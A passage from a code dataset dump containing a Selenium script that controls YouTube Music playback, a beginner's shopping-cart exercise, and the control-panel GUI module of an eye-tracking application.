cb_binding\n","repo_name":"shakhnoza-i/soap_service","sub_path":"core/wsdl_app/patched_wsdl.py","file_name":"patched_wsdl.py","file_ext":"py","file_size_in_byte":10312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10511356315","text":"from asyncio.windows_events import NULL\nfrom timeit import repeat\nfrom selenium.webdriver.common.by import By\nfrom selenium import webdriver\nimport time\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.service import Service\nimport os\nimport subprocess\n\n\n\n\n\ndef get_element(xpath = \"\", driver = NULL):\n    # searches for an element from the web driver \n    # at the given xpath\n    tryAgain = 50\n    while tryAgain:\n        try:\n            button = driver.find_element(By.XPATH, xpath)\n            tryAgain = 0\n        except Exception as e:\n            print(\"Element not found!\")\n            tryAgain -= 1\n            time.sleep(1)\n    return button\n\ndef driver_setup():\n    # sets all the options for the chrome driver, opens it\n    # and returns\n    chrome_options = Options()\n    chrome_options.add_argument(\"--disable-gpu\")\n    chrome_options.add_argument(\"--verbose\")\n    chrome_options.add_experimental_option(\"debuggerAddress\", \"localhost:9222\")\n\n    driver = webdriver.Chrome(service = Service(\".\\\\chromedriver_win32_105\\\\chromedriver.exe\"), options = chrome_options)\n    driver.get(\"https://music.youtube.com/\")\n    return driver\n\ndef isDriverClosed(driver):\n    if driver:\n        if not driver.window_handles:\n            return True\n        else:\n            return False\n\ndef pressButton(button):\n    # tries to call .click() method on the elemnt given\n    # returns true or false\n    try:\n        button.click()\n        return True\n    except Exception as e:\n        print(\"Can't press button\")\n        return False\n\ndef main():\n    # command = './Chrome/Application/chrome.exe --remote-debugging-port=9222 --user-data-dir=\"./chromedriver_win32_105/localhost\"\\n'\n    # subprocess.run(command)\n    # print(\"SetUping\")\n\n    expandedMenuIsClicked = False\n\n    driver = driver_setup()\n    print(\"Setup done!\")\n    buttonNext = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[1]/div/tp-yt-paper-icon-button[5]\")\n    buttonPrev = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[1]/div/tp-yt-paper-icon-button[1]\")\n    buttonPlayPause = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[1]/div/tp-yt-paper-icon-button[3]/tp-yt-iron-icon\")\n    buttonMute = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/ytmusic-player-expanding-menu/tp-yt-paper-icon-button[1]/tp-yt-iron-icon\")\n    buttonExpandMenu = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/div/tp-yt-paper-icon-button[4]/tp-yt-iron-icon\")\n    buttonRepeat = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/ytmusic-player-expanding-menu/tp-yt-paper-icon-button[2]\")\n    expandMenuState = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/ytmusic-player-expanding-menu\")\n    buttonShuffle = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/ytmusic-player-expanding-menu/tp-yt-paper-icon-button[3]/tp-yt-iron-icon\")\n    playPauseState = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[1]/div/tp-yt-paper-icon-button[3]\")\n    muteState = get_element(driver=driver, xpath=\"/html/body/ytmusic-app/ytmusic-app-layout/ytmusic-player-bar/div[3]/ytmusic-player-expanding-menu/tp-yt-paper-icon-button[1]\")\n    \n    while 1:\n        cmd = input(\"Give command: \")\n        if cmd == 'n' :  # next\n            if pressButton(buttonNext):\n                print(\"Next\")\n            continue\n        if cmd == 'p' :  # previous\n            if pressButton(buttonPrev):\n                print(\"Previous\")\n            continue\n        if cmd == 'P' :  # pause/play\n            print(playPauseState.get_attribute('aria-label'))\n            pressButton(buttonPlayPause)\n            continue\n        if cmd == 'm' :  # mute/unmute\n            if expandMenuState.get_attribute('aria-hidden') == 'true':\n                pressButton(buttonExpandMenu)\n            if pressButton(buttonMute) :\n                time.sleep(0.2)\n                if muteState.get_attribute('aria-pressed') == 'false' :\n                    print(\"Unmute\")\n                else :\n                    print(\"Mute\")\n            continue\n        if cmd == 'r' :  # repeat\n            if expandMenuState.get_attribute('aria-hidden') == 'true':\n                pressButton(buttonExpandMenu)\n            if pressButton(buttonRepeat) :\n                print(buttonRepeat.get_attribute('title'))\n            continue\n        if cmd == 's' :  # shuffle\n            if expandMenuState.get_attribute('aria-hidden') == 'true':\n                pressButton(buttonExpandMenu)\n            if pressButton(buttonShuffle) :\n                print(\"Shuffle\")\n            continue\n        if cmd == 'q':  # quit\n            break\n        print(\"Button unrecognised\")\n\n    driver.quit()\nif __name__ == '__main__':\n    main()\n        \n","repo_name":"radudin11/YouTubeMusicMiniPLayer","sub_path":"MiniPLayerV1_0.py","file_name":"MiniPLayerV1_0.py","file_ext":"py","file_size_in_byte":5133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"5762774784","text":"__author__ = \"Steven Lee\"\n\ngoods_list = [[\"1\", \"iphone\", \"5800\"], [\"2\", \"mac\", \"12000\"], [\"3\", \"starbuck coffee\", \"31\"], [\"4\", \"python book\", \"81\"]\n    , [\"5\", \"bike\", \"800\"]]\ngoods_num = []\nshopping_cart = []\nsalary = input(\"Please input your salary:\")\n\nwhile True:\n    print(\"\")\n    print(\"your account balance is \", salary)\n    if len(shopping_cart):\n        print(\"your shopping cart have: \", shopping_cart)\n    else:\n        print(\"your shopping cart have nothing!\")\n    print(\"\")\n    print(\"goods list is:\", goods_list)\n\n    buy = input(\"Please input which goods(number) you want to buy:\")\n    if str(buy) == \"Q\" or str(buy) == \"q\":\n        print(\"Out of your shopping trip!\")\n        break\n    for i in goods_list:\n        if buy == i[0] and int(salary) > int(i[2]):\n            shopping_cart.append(i)\n            salary = int(salary)\n            salary -= int(i[2])\n            print(\"added {_goods} to you shopping cart!\".format(_goods=i))\n            break\n        elif buy == i[0] and int(salary) < int(i[2]):\n            print(\"Your balance is not enough to buy goods \", i)\n        else:\n            continue\n","repo_name":"stevenlee87/python","sub_path":"s14/day2/shopping_cart.py","file_name":"shopping_cart.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40830367983","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom tracker_view import *\nimport glumpy\nimport glumpy.atb as atb\nfrom ctypes import *\nfrom Queue import Empty\nimport os\nimport sys\nimport re\nfrom coxlab_eyetracker.settings import global_settings\n\nimport logging\n\ntry:\n    from collections import OrderedDict\nexcept:\n    from ordereddict import OrderedDict\n\n\n# Utility functions for use with atb\n\ndef binding_getter(o, key):\n\n    def get_wrapper():\n        val = getattr(o, key)\n        if val is None:\n            val = 0\n        return val\n\n    return get_wrapper\n\n\ndef binding_setter(o, key):\n\n    def ff_wrapper(val):\n        setattr(o, key, val)\n        o.update_parameters()\n\n    def regular_wrapper(val):\n        setattr(o, key, val)\n\n    if hasattr(o, 'update_parameters') and callable(getattr(o,\n            'update_parameters')):\n        return ff_wrapper\n    else:\n        return regular_wrapper\n\n\n# Do a tiny bit of trickiness to make glumpy.atb less tiresome\n\ndef new_add_var(self, name=None, value=None, **kwargs):\n    t = kwargs.pop('target', None)\n    p = kwargs.pop('attr', None)\n\n    if t is not None and p is not None:\n        kwargs['getter'] = binding_getter(t, p)\n        kwargs['setter'] = binding_setter(t, p)\n    return self.old_add_var(name, value, **kwargs)\n\n\natb.Bar.old_add_var = atb.Bar.add_var\natb.Bar.add_var = new_add_var\n\n\nclass EyeTrackerGUI:\n\n    def __init__(self, c):\n\n        self.controller = c\n        self.tracker_view = TrackerView()\n\n        self.show_feature_map = c_bool(False)\n        self.display_starburst = c_bool(False)\n        self.n_frames = 0\n        self.frame_count = 0\n        self.frame_rate_accum = 0.0\n        self.frame_rates = []\n        self.start_time = None\n        self.last_time = 0\n        self.last_update_time = time.time()\n\n        self.calibration_file = ''\n\n        atb.init()\n        self.window = glumpy.Window(900, 600)\n\n        # ---------------------------------------------------------------------\n        #   STAGE CONTROLS\n        # ---------------------------------------------------------------------\n\n        self.gaze_bar = atb.Bar(\n            name='gaze',\n            label='Gaze Info',\n            iconified='false',\n            help='Current Gaze',\n            position=(10, 10),\n            size=(100, 200))\n\n        self.gaze_bar.add_var('Gaze/Status', label='Calibration Status',\n                            target=c, attr='calibration_status', readonly=True)\n        self.gaze_bar.add_var('Gaze/H', label='Horizontal Gaze', target=c,\n                            attr='gaze_azimuth', readonly=True)\n        self.gaze_bar.add_var('Gaze/V', label='Vertical Gaze', target=c,\n                            attr='gaze_elevation', readonly=True)\n        self.gaze_bar.add_var('FPS', label='FPS', target=c,\n                            attr='conduit_fps', readonly=True)\n\n        self.stages_bar = atb.Bar(\n            name='stages',\n            label='Stage Controls',\n            iconified='true',\n            help='Controls for adjusting stages',\n            position=(10, 10),\n            size=(200, 300),\n            )\n\n        self.stages_bar.add_var('X/x_set', label='set value', target=c,\n                                attr='x_set')\n        self.stages_bar.add_button('go_rel_x', lambda: c.go_rel_x(), group='X',\n                                   label='move relative')\n        self.stages_bar.add_button('go_abs_x', lambda: c.go_x(), group='X',\n                                   label='move absolute')\n\n        self.stages_bar.add_var('Y/y_set', label='set value', target=c,\n                                attr='y_set')\n        self.stages_bar.add_button('go_rel_y', lambda: c.go_rel_y(), group='Y',\n                                   label='move relative')\n        self.stages_bar.add_button('go_abs_y', lambda: c.go_y(), group='Y',\n                                   label='move absolute')\n\n        self.stages_bar.add_var('R/r_set', label='set value', target=c,\n                                attr='r_set')\n        self.stages_bar.add_button('go_rel_r', lambda: c.go_rel_r(), group='R',\n                                   label='move relative')\n        self.stages_bar.add_button('go_abs_r', lambda: c.go_r(), group='R',\n                                   label='move absolute')\n\n        self.stages_bar.add_button('up', lambda: c.up(), group='Jog',\n                                   label='up')\n        self.stages_bar.add_button('down', lambda: c.down(), group='Jog',\n                                   label='down')\n        self.stages_bar.add_button('left', lambda: c.left(), group='Jog',\n                                   label='left')\n\n        self.stages_bar.add_button('right', lambda: c.right(), group='Jog',\n                                   label='right')\n\n        # ---------------------------------------------------------------------\n        #   FOCUS AND ZOOM CONTROLS\n        # ---------------------------------------------------------------------\n\n        self.focus_zoom_bar = atb.Bar(\n            name='focus_and_zoom',\n            label='Focus/Zoom Controls',\n            iconified='true',\n            help='Controls for adjusting power focus and zoom',\n            position=(10, 10),\n            size=(200, 300),\n            )\n\n        self.focus_zoom_bar.add_var('Focus/focus_step', label='focus step',\n                                    target=c, attr='focus_step')\n        self.focus_zoom_bar.add_button('focus_plus', lambda: c.focus_plus(),\n                                       group='Focus', label='focus plus')\n        self.focus_zoom_bar.add_button('focus_minus', lambda: c.focus_minus(),\n                                       group='Focus', label='focus minus')\n\n        self.focus_zoom_bar.add_var('Zoom/zoom_step', label='zoom step',\n                                    target=c, attr='zoom_step')\n        self.focus_zoom_bar.add_button('zoom_plus', lambda: c.zoom_plus(),\n                                       group='Zoom', label='zoom plus')\n        self.focus_zoom_bar.add_button('zoom_minus', lambda: c.zoom_minus(),\n                                       group='Zoom', label='zoom minus')\n\n        # ---------------------------------------------------------------------\n        #   LED CONTROLS\n        # ---------------------------------------------------------------------\n\n        self.led_bar = atb.Bar(\n            name='leds',\n            label='LED Controls',\n            iconified='true',\n            help='Controls for adjusting illumination',\n            position=(20, 20),\n            size=(200, 180),\n            )\n\n        self.led_bar.add_var(\n            'Side/Ch1_mA',\n            #target=c,\n            #attr='IsetCh1',\n            label='I Ch1 (mA)',\n            vtype=atb.TW_TYPE_UINT32,\n            setter=lambda x: c.leds.set_current(1, x),\n            getter=lambda: c.leds.soft_current(1),\n            min=0,\n            max=1000,\n            )\n\n        self.led_bar.add_var('Side/Ch1_status', label='Ch1 status',\n                             vtype=atb.TW_TYPE_BOOL8,\n                             getter=lambda: c.leds.soft_status(1),\n                             setter=lambda x: c.leds.set_status(1, x))\n\n        self.led_bar.add_var(\n            'Top/Ch2_mA',\n            #target=c,\n            #attr='IsetCh2',\n            label='I Ch2 (mA)',\n            vtype=atb.TW_TYPE_UINT32,\n            setter=lambda x: c.leds.set_current(2, x),\n            getter=lambda: c.leds.soft_current(2),\n            min=0,\n            max=1000,\n            )\n        self.led_bar.add_var('Top/Ch2_status', vtype=atb.TW_TYPE_BOOL8,\n                             getter=lambda: c.leds.soft_status(2),\n                             setter=lambda x: c.leds.set_status(2, x))\n\n        #self.led_bar.add_var(\n        #    'Channel3/Ch3_mA',\n        #    target=c,\n        #    attr='IsetCh3',\n        #    label='I Ch3 (mA)',\n        #    setter=lambda x: c.leds.set_current(3,x),\n        #    min=0,\n        #    max=250,\n        #    )\n        # self.led_bar.add_var('Channel3/Ch3_status', label='Ch3 status',\n        #                              vtype=atb.TW_TYPE_BOOL8,\n        #                              getter=lambda: c.leds.soft_status(3),\n        #                              setter=lambda x: c.leds.set_status(3, x))\n        #\n        #         self.led_bar.add_var(\n        #             'Channel4/Ch4_mA',\n        #             target=c,\n        #             attr='IsetCh4',\n        #             label='I Ch4 (mA)',\n        #             setter=lambda x: c.leds.set_current(4,x),\n        #             min=0,\n        #             max=250,\n        #             )\n        #         self.led_bar.add_var('Channel4/Ch4_status', label='Ch4 status',\n        #                              vtype=atb.TW_TYPE_BOOL8,\n        #                              getter=lambda: c.leds.soft_status(4),\n        #                              setter=lambda x: c.leds.set_status(4, x))\n\n        # ---------------------------------------------------------------------\n        #   RADIAL FEATURE FINDER\n        # ---------------------------------------------------------------------\n        radial_ff = c.radial_ff\n\n        self.radial_ff_bar = atb.Bar(\n            name='RadialFF',\n            label='Radial Symmetry',\n            help='Parameters for initial (symmetry-based) image processing',\n            iconified='true',\n            position=(30, 30),\n            size=(250, 180),\n            )\n\n        self.radial_ff_bar.add_var(\n            'target_kpixels',\n            label='Target kPixels',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=50.,\n            max=1000.,\n            step=10.,\n            target=radial_ff,\n            attr='target_kpixels',\n            )\n        self.radial_ff_bar.add_var(\n            'min_radius_fraction',\n            label='Min. radius (fraction)',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=0.01,\n            max=0.5,\n            step=0.01,\n            target=radial_ff,\n            attr='min_radius_fraction',\n            )\n        self.radial_ff_bar.add_var(\n            'max_radius_fraction',\n            label='Max. radius (fraction)',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=0.1,\n            max=0.8,\n            step=0.01,\n            target=radial_ff,\n            attr='max_radius_fraction',\n            )\n        self.radial_ff_bar.add_var(\n            'radius_steps',\n            label='Radius steps',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=10,\n            step=1,\n            target=radial_ff,\n            attr='radius_steps',\n            )\n        self.radial_ff_bar.add_var(\n            'alpha',\n            label='Alpha',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=1.,\n            max=50.,\n            step=1.,\n            target=radial_ff,\n            attr='alpha',\n            )\n\n        self.radial_ff_bar.add_var('show_transform', label='Show Transform',\n                                   vtype=atb.TW_TYPE_BOOL8, target=self,\n                                   attr='show_feature_map')\n\n        self.radial_ff_bar.add_var('Albino/albino_mode_enable',\n                                   label='Mode Enabled',\n                                   vtype=atb.TW_TYPE_BOOL8, target=radial_ff,\n                                   attr='albino_mode')\n        self.radial_ff_bar.add_var(\n            'Albino/albino_threshold',\n            label='Threshold',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=0.1,\n            max=50.,\n            step=1.,\n            target=radial_ff,\n            attr='albino_threshold',\n            )\n\n        self.radial_ff_bar.add_var(\n            'RestrictRegion/top',\n            label='top',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=300,\n            step=1,\n            target=radial_ff,\n            attr='restrict_top',\n            )\n        self.radial_ff_bar.add_var(\n            'RestrictRegion/left',\n            label='left',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=300,\n            step=1,\n            target=radial_ff,\n            attr='restrict_left',\n            )\n\n        self.radial_ff_bar.add_var(\n            'RestrictRegion/right',\n            label='right',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=300,\n            step=1,\n            target=radial_ff,\n            attr='restrict_right',\n            )\n\n        self.radial_ff_bar.add_var(\n            'RestrictRegion/bottom',\n            label='bottom',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=300,\n            step=1,\n            target=radial_ff,\n            attr='restrict_bottom',\n            )\n\n        # ---------------------------------------------------------------------\n        #   STARBURST FEATURE FINDER\n        # ---------------------------------------------------------------------\n\n        self.sb_ff_bar = atb.Bar(\n            name='StarburstFF',\n            label='Starburst',\n            iconified='true',\n            help=\"Parameters for the refinement phase ('starburst') image processing\",\n            position=(40, 40),\n            size=(200, 250),\n            )\n\n        sb_ff = c.starburst_ff\n\n        self.sb_ff_bar.add_var(\n            'Pupil/n_pupil_rays',\n            label='n rays',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=100,\n            step=1,\n            target=sb_ff,\n            attr='pupil_n_rays',\n            )\n\n        self.sb_ff_bar.add_var(\n            'Pupil/pupil_min_radius',\n            label='min radius',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=100,\n            step=1,\n            target=sb_ff,\n            attr='pupil_min_radius',\n            )\n\n        self.sb_ff_bar.add_var(\n            'Pupil/pupil_threshold',\n            label='edge detect threshold',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=0.1,\n            max=5.0,\n            step=0.1,\n            target=sb_ff,\n            attr='pupil_threshold',\n            )\n\n        self.sb_ff_bar.add_var(\n            'CR/n_cr_rays',\n            label='n rays',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=100,\n            step=1,\n            target=sb_ff,\n            attr='cr_n_rays',\n            )\n\n        self.sb_ff_bar.add_var(\n            'CR/cr_min_radius',\n            label='min radius',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=100,\n            step=1,\n            target=sb_ff,\n            attr='cr_min_radius',\n            )\n\n        self.sb_ff_bar.add_var(\n            'CR/cr_threshold',\n            label='edge detect threshold',\n            vtype=atb.TW_TYPE_FLOAT,\n            min=0.1,\n            max=5.0,\n            step=0.1,\n            target=sb_ff,\n            attr='cr_threshold',\n            )\n\n        fit_algos = {0: 'circle_least_squares',\n                     1: 'circle_least_squares_ransac',\n                     2: 'ellipse_least_squares'}\n\n        fit_algos_rev = dict([(val, key) for (key, val) in fit_algos.items()])\n\n        FittingAlgorithm = atb.enum('FittingAlgorithm', {'circle lst sq': 0,\n                                    'circle ransac': 1, 'ellipse lst sq': 2})\n        self.sb_ff_bar.add_var('Fitting/circle_fit', label='circle fit method',\n                               vtype=FittingAlgorithm, getter=lambda: \\\n                               fit_algos_rev[sb_ff.fitting_algorithm],\n                               setter=lambda x: \\\n                               setattr(sb_ff, 'fitting_algorithm', fit_algos[x]))\n\n        self.sb_ff_bar.add_var('Display/show_rays', self.display_starburst)\n\n        # ---------------------------------------------------------------------\n        #   CALIBRATION\n        # ---------------------------------------------------------------------\n        self.cal_bar = atb.Bar(\n            name='Calibration',\n            label='Calibration',\n            iconified='true',\n            help='Auto-calibration steps',\n            position=(50, 50),\n            size=(250, 300),\n            refresh=0.5\n            )\n\n        self.cal_bar.add_button('calibrate', lambda: c.calibrate(),\n                                label='Calibrate (full)')\n\n        self.cal_bar.add_separator('Sub-phases')\n        self.cal_bar.add_button('cal_center_h', lambda: \\\n                                c.calibrate_center_horizontal(),\n                                label='Center Horizontal')\n        self.cal_bar.add_button('cal_center_v', lambda: \\\n                                c.calibrate_center_vertical(),\n                                label='Center Vertical')\n        self.cal_bar.add_button('cal_center_d', lambda: \\\n                                c.calibrate_center_depth(), label='Center Depth'\n                                )\n        #self.cal_bar.add_button('align_pupil_cr', lambda: \\\n        #                        c.calibrate_align_pupil_and_cr(),\n        #                        label='Align Pupil and CR')\n        self.cal_bar.add_button('cal_pupil_rad', lambda: \\\n                                c.calibrate_find_pupil_radius(),\n                                label='Find Pupil Radius')\n\n        self.cal_bar.add_separator('Info')\n        self.cal_bar.add_var('d', label='Distance to CR curv. center',\n                             vtype=atb.TW_TYPE_FLOAT, target=c.calibrator,\n                             attr='d')  # readonly = True,\n        self.cal_bar.add_var('Rp', label='Pupil rotation radius (Rp)[mm]',\n                             vtype=atb.TW_TYPE_FLOAT, target=c.calibrator,\n                             attr='Rp_mm')  # readonly = True,\n\n        # Calibration Files\n        try:\n            self.refresh_calibration_file_list()\n\n            self.cal_bar.add_separator('Calibration Files')\n\n            self.cal_bar.add_var('current_calibration_file',\n                                 vtype=self.cal_enum, label='Calibration File',\n                                 getter=lambda: \\\n                                 self.get_calibration_file_atb(),\n                                 setter=lambda x: \\\n                                 self.set_calibration_file_atb(x))\n                                  # setter = lambda x: sb_ff.__dict__.__setitem__('fitting_algorithm', fit_algos[x]))\n                                  # getter=lambda: self.get_calibration_file_atb,\n                                  # setter=lambda x: self.set_calibration_file_atb(x))\n\n            self.cal_bar.add_separator('Calibration Save')\n            self.cal_file_save_name = ctypes.c_char_p('')\n\n            self.cal_bar.add_var('calibration_file_save_name',\n                                 vtype=atb.TW_TYPE_CDSTRING, target=self,\n                                 attr='cal_file_save_name')\n            self.cal_bar.add_button('save_calibration', lambda: \\\n                                    self.save_calibration_file_atb(self.cal_file_save_name))\n        except Exception as E:\n            logging.warning(\"Error setting calibration file list: %s\" % E)\n            logging.warning(\"\"\"Unable to use calibration-file saving\n                               infrastructure.  A patched version of glumpy\n                               is required to enable this feature.\"\"\")\n\n        # --------------------------------------------------------------------\n        #   CAMERA\n        # --------------------------------------------------------------------\n\n        self.cam_bar = atb.Bar(\n            name='Camera',\n            label='Camera',\n            iconified='true',\n            help='Camera acquisition parameters',\n            position=(60, 60),\n            size=(200, 180),\n            )\n\n        def saving(x=None):\n            if not hasattr(c.feature_finder, 'save'):\n                return False\n            if x is None:\n                return c.feature_finder.save\n            c.feature_finder.save = x\n\n        self.cam_bar.add_var(\n            'save',\n            label='save',\n            vtype=atb.TW_TYPE_BOOL8,\n            getter=lambda: saving(),\n            setter=lambda x: saving(x),\n        )\n\n        self.cam_bar.add_var(\n            'binning',\n            label='binning',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=16,\n            step=1,\n            target=c,\n            attr='binning',\n            )\n\n        self.cam_bar.add_var(\n            'gain',\n            label='gain',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=16,\n            step=1,\n            target=c,\n            attr='gain',\n            )\n\n        self.cam_bar.add_var(\n            'exposure',\n            label='exposure',\n            vtype=atb.TW_TYPE_UINT32,\n            min=5000,\n            max=30000,\n            step=1000,\n            target=c,\n            attr='exposure',\n            )\n\n        self.cam_bar.add_var(\n            'ROI/roi_width',\n            label='width',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=800,\n            step=1,\n            target=c,\n            attr='roi_width',\n            )\n\n        self.cam_bar.add_var(\n            'ROI/roi_height',\n            label='height',\n            vtype=atb.TW_TYPE_UINT32,\n            min=1,\n            max=800,\n            step=1,\n            target=c,\n            attr='roi_height',\n            )\n\n        self.cam_bar.add_var(\n            'ROI/roi_offset_x',\n            label='offset x',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=800,\n            step=1,\n            target=c,\n            attr='roi_offset_x',\n            )\n\n        self.cam_bar.add_var(\n            'ROI/roi_offset_y',\n            label='offset y',\n            vtype=atb.TW_TYPE_UINT32,\n            min=0,\n            max=800,\n            step=1,\n            target=c,\n            attr='roi_offset_y',\n            )\n\n        # Event Handlers\n        def on_init():\n            self.tracker_view.prepare_opengl()\n\n        def on_draw():\n            self.window.clear()\n            self.tracker_view.draw((self.window.width, self.window.height))\n\n        def on_idle(dt):\n            # if dt < 0.02:\n            #    return\n            self.update_tracker_view()\n            self.window.draw()\n\n        def on_key_press(symbol, modifiers):\n            if symbol == glumpy.key.ESCAPE:\n                c.stop_continuous_acquisition()\n                logging.debug(\"Controller has %i refs\" % sys.getrefcount(c))\n                c.release()\n                self.controller = None\n                logging.debug(\"Controller has %i refs\" % sys.getrefcount(c))\n                c.shutdown()\n                #print \"Shutting down controller...\"\n                #print \"Shut down controller\", c.shutdown()\n                #c.continuously_acquiring = False\n                #c.acq_thread.join()\n                sys.exit()\n\n        self.window.push_handlers(atb.glumpy.Handlers(self.window))\n        self.window.push_handlers(on_init, on_draw, on_key_press, on_idle)\n        self.window.draw()\n\n    def __del__(self):\n        logging.debug(\"GUI __del__ called\")\n        self.controller.stop_continuous_acquisition()\n        self.controller.release()\n        self.controller.shutdown()\n        self.controller = None\n\n    def mainloop(self):\n        self.window.mainloop()\n\n    def get_calibration_file_atb(self):\n        # return 0\n        # return ctypes.c_int(0)\n        if self.controller.calibration_file is None:\n            calibration_filename = None\n        else:\n            calibration_filename = os.path.split(self.controller.calibration_file)[-1]\n            calibration_filename = os.path.splitext(calibration_filename)[0]\n        return self.cal_enum_dict.get(calibration_filename, 0)\n\n        # return self.cal_enum_dict.get(self.controller.calibration_file,0)\n\n    def set_calibration_file_atb(self, x):\n        if self.cal_lookup_dict[x] == 'None':\n            return\n        self.calibration_file = self.cal_lookup_dict[x]\n        base_path = os.path.expanduser(global_settings['calibration_path'])\n        cal_path = os.path.join(base_path, '%s.pkl' % self.calibration_file)\n        self.controller.calibrator.load_parameters(cal_path, self.controller)\n\n        # self.controller.calibration_file = self.cal_lookup_dict[x]\n\n    def refresh_calibration_file_list(self):\n\n        # read in saved calibration files\n        try:\n            cal_path = os.path.expanduser(global_settings['calibration_path'])\n        except KeyError:\n            logging.warning('A calibration_path was not found in the config file')\n            logging.warning('Loaded global settings: %s' % global_settings)\n\n        if not os.path.exists(cal_path):\n            os.makedirs(cal_path)\n\n        cal_files = os.listdir(cal_path)\n        cal_files = filter(lambda x: re.match(r'.*\\.pkl', x), cal_files)\n\n        cal_names = [x.split('.')[0] for x in cal_files]\n        cal_names.insert(0, 'None')\n\n        # add back in the rest of the path\n        cal_files = [os.path.join(cal_path, x) for x in cal_files]\n        cal_files.insert(0, '<none>')\n\n        cal_ids = range(0, len(cal_names))\n        self.cal_enum_dict = OrderedDict(zip(cal_names, cal_ids))\n        self.cal_lookup_dict = OrderedDict(zip(cal_ids, cal_names))\n\n        logging.debug('Calibration files: %s' % self.cal_enum_dict)\n        logging.debug('Calibration lookup: %s' % self.cal_lookup_dict)\n\n        self.cal_enum = atb.enum('CalibrationFile', self.cal_enum_dict)\n\n    def save_calibration_file_atb(self, cal_name):\n        base_path = os.path.expanduser(global_settings['calibration_path'])\n        cal_path = os.path.join(base_path, '%s.pkl' % cal_name)\n        self.controller.save_calibration(cal_path)\n        #self.controller.calibrator.save_parameters(cal_path, self.controller)\n        # self.controller.save_calibration(cal_path)\n        self.refresh_calibration_file_list()\n\n    def update_tracker_view(self):\n        if (self.controller is None) or (self.controller.camera_device is None):\n            return\n\n        try:\n            features = self.controller.ui_queue.get_nowait()\n        except Empty:\n            return\n\n        if 'frame_time' in features:\n            toc = features['frame_time']\n        else:\n            toc = 1\n\n        if self.show_feature_map:\n            transform_im = features['transform']\n            if transform_im is not None:\n                transform_im -= min(ravel(transform_im))\n                transform_im = transform_im * 255 / max(ravel(transform_im))\n                # ravelled = ravel(transform_im)\n                self.tracker_view.im_array = transform_im.astype(uint8)\n        else:\n            self.tracker_view.im_array = features['im_array']\n\n        if 'pupil_position_stage1' in features:\n            self.tracker_view.stage1_pupil_position = \\\n                features['pupil_position_stage1']\n\n        if 'cr_position_stage1' in features:\n            self.tracker_view.stage1_cr_position = features['cr_position_stage1'\n                    ]\n\n        if 'cr_radius' in features:\n            self.tracker_view.cr_radius = features['cr_radius']\n\n        if 'pupil_radius' in features:\n            self.tracker_view.pupil_radius = features['pupil_radius']\n\n        if 'pupil_position' in features:\n            self.tracker_view.pupil_position = features['pupil_position']\n\n        if 'cr_position' in features:\n            self.tracker_view.cr_position = features['cr_position']\n\n        if self.display_starburst:\n            self.tracker_view.starburst = features.get('starburst', None)\n        else:\n            self.tracker_view.starburst = None\n\n        self.tracker_view.is_calibrating = features.get('is_calibrating', False)\n\n        self.tracker_view.restrict_top = features.get('restrict_top', None)\n        self.tracker_view.restrict_bottom = features.get('restrict_bottom',\n                None)\n        self.tracker_view.restrict_left = features.get('restrict_left', None)\n        self.tracker_view.restrict_right = features.get('restrict_right', None)\n\n        self.n_frames += 1\n        self.frame_count += 1\n\n        time_between_updates = 0.4\n\n        self.frame_rate_accum += 1. / toc\n\n        self.frame_rates.append(1. / toc)\n\n        time_since_last_update = time.time() - self.last_update_time\n\n        if time_since_last_update > time_between_updates:\n            self.last_update_time = time.time()\n\n            self.frame_rate = mean(array(self.frame_rates))\n            self.frame_rates = []\n            self.frame_rate_accum = 0\n\n            self.last_time = time.time()\n            self.n_frames = 0\n\n            if 'sobel_avg' in features:\n                self.sobel_avg = features['sobel_avg']\n","repo_name":"coxlab/eyetracker","sub_path":"coxlab_eyetracker/gui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":28728,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"47"}
